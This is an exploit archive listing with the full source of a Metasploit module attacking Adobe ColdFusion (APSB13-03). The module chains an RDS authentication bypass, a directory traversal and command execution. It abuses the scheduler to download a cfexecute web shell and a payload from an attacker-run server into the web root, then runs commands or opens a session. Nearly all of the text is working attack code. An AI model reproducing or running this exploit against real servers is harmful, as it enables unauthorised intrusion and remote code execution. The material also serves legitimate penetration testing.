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Adobe ColdFusion APSB13-03 Command Execution

Adobe ColdFusion APSB13-03 Command Execution
Posted Apr 10, 2013
Authored by Jon Hart | Site metasploit.com

This Metasploit module exploits a pile of vulnerabilities in Adobe ColdFusion APSB13-03 including arbitrary command execution in scheduleedit.cfm (9.x only), directory traversal, and authentication bypass issues.

tags | exploit, arbitrary, vulnerability
advisories | CVE-2013-0625, CVE-2013-0629, CVE-2013-0631, CVE-2013-0632
SHA-256 | fc81458d632a151d75dbee734ef554512dc7bbdc7f0bfbae5d6c44fcafa675bf

Adobe ColdFusion APSB13-03 Command Execution

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'
require 'digest/sha1'
require 'openssl'

class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer

def initialize(info = {})
super(update_info(info,
'Name' => 'Adobe ColdFusion APSB13-03',
'Description' => %q{
This module exploits a pile of vulnerabilities in Adobe ColdFusion APSB13-03:
* CVE-2013-0625: arbitrary command execution in scheduleedit.cfm (9.x only)
* CVE-2013-0629: directory traversal
* CVE-2013-0632: authentication bypass
},
'Author' =>
[
'Jon Hart <jon_hart[at]rapid7.com', # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2013-0625'],
[ 'CVE', '2013-0629'],
# we don't actually exploit this, as this is the backdoor
# dropped by malware exploiting the other vulnerabilities
[ 'CVE', '2013-0631'],
[ 'CVE', '2013-0632'],
],
'Targets' =>
[
['Automatic Targeting', { 'auto' => true }],
[
'Universal CMD',
{
'Arch' => ARCH_CMD,
'Platform' => ['unix', 'win', 'linux']
}
]
],
'DefaultTarget' => 1,
'Privileged' => true,
'Platform' => [ 'win', 'linux' ],
'DisclosureDate' => 'Jan 15 2013'))

register_options(
[
Opt::RPORT(80),
OptString.new('USERNAME', [ false, 'The username to authenticate as' ]),
OptString.new('PASSWORD', [ false, 'The password for the specified username' ]),
OptBool.new('USERDS', [ true, 'Authenticate with RDS credentials', true ]),
OptString.new('CMD', [ false, 'Command to run rather than dropping a payload', '' ]),
], self.class)

register_advanced_options(
[
OptBool.new('DELETE_TASK', [ true, 'Delete scheduled task when done', true ]),
], self.class)
end

def check
exploitable = 0
exploitable += 1 if check_cve_2013_0629
exploitable += 1 if check_cve_2013_0632
exploitable > 0 ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe
end

# Login any way possible, returning the cookies if successful, empty otherwise
def login
cf_cookies = {}

ways = {
'RDS bypass' => Proc.new { |foo| adminapi_login(datastore['USERNAME'], datastore['PASSWORD'], true) },
'RDS login' => Proc.new { |foo| adminapi_login(datastore['USERNAME'], datastore['PASSWORD'], false) },
'Administrator login' => Proc.new { |foo| administrator_login(datastore['USERNAME'], datastore['PASSWORD']) },
}
ways.each do |what, how|
these_cookies = how.call
if got_auth? these_cookies
print_status "Authenticated using '#{what}' technique"
cf_cookies = these_cookies
break
end
end

fail_with(Exploit::Failure::NoAccess, "Unable to authenticate") if cf_cookies.empty?
cf_cookies
end

def exploit
# login
cf_cookies = login

# if we managed to login, get the listener ready
datastore['URIPATH'] = rand_text_alphanumeric(6)
srv_uri = "http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}"
start_service

# drop a payload on disk which we can used to execute
# arbitrary commands, which will be needed regardless of
# which technique (cmd, payload) the user wants
input_exec = srv_uri + "/#{datastore['URIPATH']}-e"
output_exec = "#{datastore['URIPATH']}-e.cfm"
schedule_drop cf_cookies, input_exec, output_exec

if datastore['CMD'] and not datastore['CMD'].empty?
# now that the coldfusion exec is on disk, execute it,
# passing in the command and arguments
parts = datastore['CMD'].split(/\s+/)
res = execute output_exec, parts.shift, parts.join(' ')
print_line res.body.strip
else
# drop the payload
input_payload = srv_uri + "/#{datastore['URIPATH']}-p"
output_payload = "#{datastore['URIPATH']}-p"
schedule_drop cf_cookies, input_payload, output_payload
# make the payload executable
# XXX: windows?
execute output_exec, 'chmod', "755 ../../wwwroot/CFIDE/#{output_payload}"
# execute the payload
execute output_exec, "../../wwwroot/CFIDE/#{output_payload}"
end
handler
end

def execute cfm, cmd, args=''
uri = "/CFIDE/" + cfm + "?cmd=#{cmd}&args=#{Rex::Text::uri_encode args}"
send_request_raw( { 'uri' => uri, 'method' => 'GET' }, 25 )
end

def on_new_session(client)
return
# TODO: cleanup
if client.type == "meterpreter"
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
@files.each do |file|
client.fs.file.rm("#{file}")
end
else
@files.each do |file|
client.shell_command_token("rm #{file}")
end
end
end

def on_request_uri cli, request
cf_payload = "test"
case request.uri
when "/#{datastore['URIPATH']}-e"
cf_payload = <<-EOF
<cfparam name="url.cmd" type="string" default="id"/>
<cfparam name="url.args" type="string" default=""/>
<cfexecute name=#url.cmd# arguments=#url.args# timeout="5" variable="output" />
<cfoutput>#output#</cfoutput>
EOF
when "/#{datastore['URIPATH']}-p"
cf_payload = payload.encoded
end
send_response(cli, cf_payload, { 'Content-Type' => 'text/html' })
end


# Given a hash of cookie key value pairs, return a string
# suitable for use as an HTTP Cookie header
def build_cookie_header cookies
cookies.to_a.map { |a| a.join '=' }.join '; '
end

# this doesn't actually work
def twiddle_csrf cookies, enable=false
mode = (enable ? "Enabling" : "Disabling")
print_status "#{mode} CSRF protection"
params = {
'SessEnable' => enable.to_s,
}
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, "/CFIDE/administrator/settings/memoryvariables.cfm"),
'method' => 'POST',
'connection' => 'TE, close',
'cookie' => build_cookie_header(cookies),
'vars_post' => params,
})
if res
if res.body =~ /SessionManagement should/
print_error "Error #{mode} CSRF"
end
else
print_error "No response while #{mode} CSRF"
end
end

# Using the provided +cookies+, schedule a ColdFusion task
# to request content from +input_uri+ and drop it in +output_path+
def schedule_drop cookies, input_uri, output_path
vprint_status "Attempting to schedule ColdFusion task"
cookie_hash = cookies

scheduletasks_path = "/CFIDE/administrator/scheduler/scheduletasks.cfm"
scheduleedit_path = "/CFIDE/administrator/scheduler/scheduleedit.cfm"
# make a request to the scheduletasks page to pick up the CSRF token
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, scheduletasks_path),
'method' => 'GET',
'connection' => 'TE, close',
'cookie' => build_cookie_header(cookie_hash),
})
cookie_hash.merge! get_useful_cookies res

if res
# XXX: I can only seem to get this to work if 'Enable Session Variables'
# is disabled (Server Settings -> Memory Variables)
token = res.body.scan(/<input type="hidden" name="csrftoken" value="([^\"]+)"/).flatten.first
unless token
print_warning "Empty CSRF token found -- either CSRF is disabled (good) or we couldn't get one (bad)"
#twiddle_csrf cookies, false
token = ''
end
else
fail_with(Exploit::Failure::Unknown, "No response when trying to GET scheduletasks.cfm for task listing")
end

# make a request to the scheduletasks page again, this time passing in our CSRF token
# in an attempt to get all of the other cookies used in a request
cookie_hash.merge! get_useful_cookies res
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, scheduletasks_path) + "?csrftoken=#{token}&submit=Schedule+New+Task",
'method' => 'GET',
'connection' => 'TE, close',
'cookie' => build_cookie_header(cookie_hash),
})

fail_with(Exploit::Failure::Unknown, "No response when trying to GET scheduletasks.cfm for new task") unless res

# pick a unique task ID
task_id = SecureRandom.uuid
# drop the backdoor in the CFIDE directory so it can be executed
publish_file = '../../wwwroot/CFIDE/' + output_path
# pick a start date. This must be in the future, so pick
# one sufficiently far ahead to account for time zones,
# improper time keeping, solar flares, drift, etc.
start_date = "03/15/#{Time.now.strftime('%Y').to_i + 1}"
params = {
'csrftoken' => token,
'TaskName' => task_id,
'Group' => 'default',
'Start_Date' => start_date,
'End_Date' => '',
'ScheduleType' => 'Once',
'StartTimeOnce' => '1:37 PM',
'Interval' => 'Daily',
'StartTimeDWM' => '',
'customInterval_hour' => '0',
'customInterval_min' => '0',
'customInterval_sec' => '0',
'CustomStartTime' => '',
'CustomEndTime' => '',
'repeatradio' => 'norepeatforeverradio',
'Repeat' => '',
'crontime' => '',
'Operation' => 'HTTPRequest',
'ScheduledURL' => input_uri,
'Username' => '',
'Password' => '',
'Request_Time_out' => '',
'proxy_server' => '',
'http_proxy_port' => '',
'publish' => '1',
'publish_file' => publish_file,
'publish_overwrite' => 'on',
'eventhandler' => '',
'exclude' => '',
'onmisfire' => '',
'onexception' => '',
'oncomplete' => '',
'priority' => '5',
'retrycount' => '3',
'advancedmode' => 'true',
'adminsubmit' => 'Submit',
'taskNameOriginal' => task_id,
'groupOriginal' => 'default',
'modeOriginal' => 'server',
}

cookie_hash.merge! (get_useful_cookies res)
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, scheduleedit_path),
'method' => 'POST',
'connection' => 'TE, close',
'cookie' => build_cookie_header(cookie_hash),
'vars_post' => params,
})

if res
# if there was something wrong with the task, capture those errors
# print them and abort
errors = res.body.scan(/<li class="errorText">(.*)<\/li>/i).flatten
if errors.empty?
if res.body =~ /SessionManagement should/
fail_with(Exploit::Failure::NoAccess, "Unable to bypass CSRF")
end
print_status "Created task #{task_id}"
else
fail_with(Exploit::Failure::NoAccess, "Unable to create task #{task_id}: #{errors.join(',')}")
end
else
fail_with(Exploit::Failure::Unknown, "No response when creating task #{task_id}")
end

print_status "Executing task #{task_id}"
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, scheduletasks_path) + "?runtask=#{task_id}&csrftoken=#{token}&group=default&mode=server",
'method' => 'GET',
'connection' => 'TE, close',
'cookie' => build_cookie_header(cookie_hash),
})

#twiddle_csrf cookies, true
if datastore['DELETE_TASK']
print_status "Removing task #{task_id}"
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, scheduletasks_path) + "?action=delete&task=#{task_id}&csrftoken=#{token}",
'method' => 'GET',
'connection' => 'TE, close',
'cookie' => build_cookie_header(cookie_hash),
})
end

vprint_status normalize_uri(target_uri, publish_file)
publish_file
end

# Given the HTTP response +res+, extract any interesting, non-empty
# cookies, returning them as a hash
def get_useful_cookies res
set_cookie = res.headers['Set-Cookie']
# Parse the Set-Cookie header
parsed_cookies = CGI::Cookie.parse(set_cookie)

# Clean up the cookies we got by:
# * Dropping Path and Expires from the parsed cookies -- we don't care
# * Dropping empty (reset) cookies
%w(Path Expires).each do |ignore|
parsed_cookies.delete ignore
parsed_cookies.delete ignore.downcase
end
parsed_cookies.keys.each do |name|
parsed_cookies[name].reject! { |value| value == '""' }
end
parsed_cookies.reject! { |name,values| values.empty? }

# the cookies always seem to start with CFAUTHORIZATION_, but
# give the module the ability to log what it got in the event
# that this stops becoming an OK assumption
unless parsed_cookies.empty?
vprint_status "Got the following cookies after authenticating: #{parsed_cookies}"
end
cookie_pattern = /^CF/
useful_cookies = parsed_cookies.select { |name,value| name =~ cookie_pattern }
if useful_cookies.empty?
vprint_status "No #{cookie_pattern} cookies found"
else
vprint_status "The following cookies could be used for future authentication: #{useful_cookies}"
end
useful_cookies
end

# Authenticates to ColdFusion Administrator via the adminapi using the
# specified +user+ and +password+. If +use_rds+ is true, it is assumed that
# the provided credentials are for RDS, otherwise they are assumed to be
# credentials for ColdFusion Administrator.
#
# Returns a hash (cookie name => value) of the cookies obtained
def adminapi_login user, password, use_rds
vprint_status "Attempting ColdFusion Administrator adminapi login"
user ||= ''
password ||= ''
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, %w(CFIDE adminapi administrator.cfc)),
'method' => 'POST',
'connection' => 'TE, close',
'vars_post' => {
'method' => 'login',
'adminUserId' => user,
'adminPassword' => password,
'rdsPasswordAllowed' => (use_rds ? '1' : '0')
}
})

if res
if res.code == 200
vprint_status "HTTP #{res.code} when authenticating"
return get_useful_cookies(res)
else
print_error "HTTP #{res.code} when authenticating"
end
else
print_error "No response when authenticating"
end

{}
end

# Authenticates to ColdFusion Administrator using the specified +user+ and
# +password+
#
# Returns a hash (cookie name => value) of the cookies obtained
def administrator_login user, password
cf_cookies = administrator_9x_login user, password
unless got_auth? cf_cookies
cf_cookies = administrator_10x_login user, password
end
cf_cookies
end

def administrator_10x_login user, password
# coldfusion 10 appears to do:
# cfadminPassword.value = hex_sha1(cfadminPassword.value)
vprint_status "Trying ColdFusion 10.x Administrator login"
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, %w(CFIDE administrator enter.cfm)),
'method' => 'POST',
'vars_post' => {
'cfadminUserId' => user,
'cfadminPassword' => Digest::SHA1.hexdigest(password).upcase,
'requestedURL' => '/CFIDE/administrator/index.cfm',
'submit' => 'Login',
}
})

if res
if res.code.to_s =~ /^30[12]/
useful_cookies = get_useful_cookies res
if got_auth? useful_cookies
return useful_cookies
end
else
if res.body =~ /<title>Error/i
print_status "Appears to be restricted and/or not ColdFusion 10.x"
elsif res.body =~ /A License exception has occurred/i
print_status "Is license restricted"
else
vprint_status "Got unexpected HTTP #{res.code} response when sending a ColdFusion 10.x request. Not 10.x?"
vprint_status res.body
end
end
end

return {}
end

def got_auth? cookies
not cookies.select { |name,values| name =~ /^CFAUTHORIZATION_/ }.empty?
end

def administrator_9x_login user, password
vprint_status "Trying ColdFusion 9.x Administrator login"
# coldfusion 9 appears to do:
# cfadminPassword.value = hex_hmac_sha1(salt.value, hex_sha1(cfadminPassword.value));
#
# You can get a current salt from
# http://<host>:8500/CFIDE/adminapi/administrator.cfc?method=getSalt&name=CFIDE.adminapi.administrator&path=/CFIDE/adminapi/administrator.cfc#method_getSalt
#
# Unfortunately that URL might be restricted and the salt really just looks
# to be the current time represented as the number of milliseconds since
# the epoch, so just use that
salt = (Time.now.to_i * 1000).to_s
pass = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('sha1'), salt, Digest::SHA1.hexdigest(password).upcase).upcase
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, %w(CFIDE administrator enter.cfm)),
'method' => 'POST',
'vars_post' => {
'submit' => 'Login',
'salt' => salt,
'cfadminUserId' => user,
'requestedURL' => '/CFIDE/administrator/index.cfm',
'cfadminPassword' => pass,
}
})
if res
return get_useful_cookies res
else
print_error "No response while trying ColdFusion 9.x authentication"
end

{}
end

# Authenticates to ColdFusion ComponentUtils using the specified +user+ and +password+
#
# Returns a hash (cookie name => value) of the cookies obtained
def componentutils_login user, password
vprint_status "Attempting ColdFusion ComponentUtils login"
vars = {
'j_password_required' => "Password+Required",
'submit' => 'Login',
}
vars['rdsUserId'] = user if user
vars['j_password'] = password if password
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, %w(CFIDE componentutils cfcexplorer.cfc)),
'method' => 'POST',
'connection' => 'TE, close',
'vars_post' => vars
})

cf_cookies = {}
if res.code.to_s =~ /^(?:200|30[12])$/
cf_cookies = get_useful_cookies res
else
print_error "HTTP #{res.code} while attempting ColdFusion ComponentUtils login"
end

cf_cookies
end

def check_cve_2013_0629
vulns = 0
paths = %w(../../../license.txt ../../../../license.html)

# first try password-less bypass in the event that this thing
# was just wide open
vuln_without_creds = false
paths.each do |path|
if (traverse_read path, nil) =~ /ADOBE SYSTEMS INCORPORATED/
vulns += 1
vuln_without_creds = true
break
end
end

if vuln_without_creds
print_status "#{datastore['RHOST']} is vulnerable to CVE-2013-0629 without credentials"
else
print_status "#{datastore['RHOST']} is not vulnerable to CVE-2013-0629 without credentials"
end

# if credentials are provided, try those too
if datastore['USERNAME'] and datastore['PASSWORD']
vuln_without_bypass = false
paths.each do |path|
cf_cookies = componentutils_login datastore['USERNAME'], datastore['PASSWORD']
if (traverse_read path, cf_cookies) =~ /ADOBE SYSTEMS INCORPORATED/
vulns += 1
vuln_without_bypass = true
break
end
end

if vuln_without_bypass
print_status "#{datastore['RHOST']} is vulnerable to CVE-2013-0629 with credentials"
else
print_status "#{datastore['RHOST']} is not vulnerable to CVE-2013-0629 with credentials"
end
end

# now try with the CVE-2013-0632 bypass, in the event that this wasn't *totally* wide open
vuln_with_bypass = false
paths.each do |path|
cf_cookies = adminapi_login datastore['USERNAME'], datastore['PASSWORD'], true
# we need to take the cookie value from CFAUTHORIZATION_cfadmin
# and use it for CFAUTHORIZATION_componentutils
cf_cookies['CFAUTHORIZATION_componentutils'] = cf_cookies['CFAUTHORIZATION_cfadmin']
cf_cookies.delete 'CFAUTHORIZATION_cfadmin'
if (traverse_read path, cf_cookies) =~ /ADOBE SYSTEMS INCORPORATED/
vulns += 1
vuln_with_bypass = true
break
end
end

if vuln_with_bypass
print_status "#{datastore['RHOST']} is vulnerable to CVE-2013-0629 in combination with CVE-2013-0632"
else
print_status "#{datastore['RHOST']} is not vulnerable to CVE-2013-0629 in combination with CVE-2013-0632"
end

vulns > 0
end

# Checks for CVE-2013-0632, returning true if the target is
# vulnerable, false otherwise
def check_cve_2013_0632
if datastore['USERDS']
# the vulnerability for CVE-2013-0632 is that if RDS is disabled during install but
# subsequently *enabled* after install, the password is unset so we simply must
# check that and only that.
cf_cookies = adminapi_login 'foo', 'bar', true
if cf_cookies.empty?
print_status "#{datastore['RHOST']} is not vulnerable to CVE-2013-0632"
else
print_status "#{datastore['RHOST']} is vulnerable to CVE-2013-0632"
return true
end
else
print_error "Cannot test #{datastore['RHOST']} CVE-2013-0632 with USERDS off"
end
false
end

def traverse_read path, cookies
uri = normalize_uri(target_uri.path)
uri << "CFIDE/componentutils/cfcexplorer.cfc?method=getcfcinhtml&name=CFIDE.adminapi.administrator&path="
uri << path
res = send_request_cgi(
{
'uri' => uri,
'method' => 'GET',
'connection' => 'TE, close',
'cookie' => build_cookie_header(cookies)
})
res.body.gsub(/\r\n?/, "\n").gsub(/.<html>.<head>.<title>Component.*/m, '')
end
end
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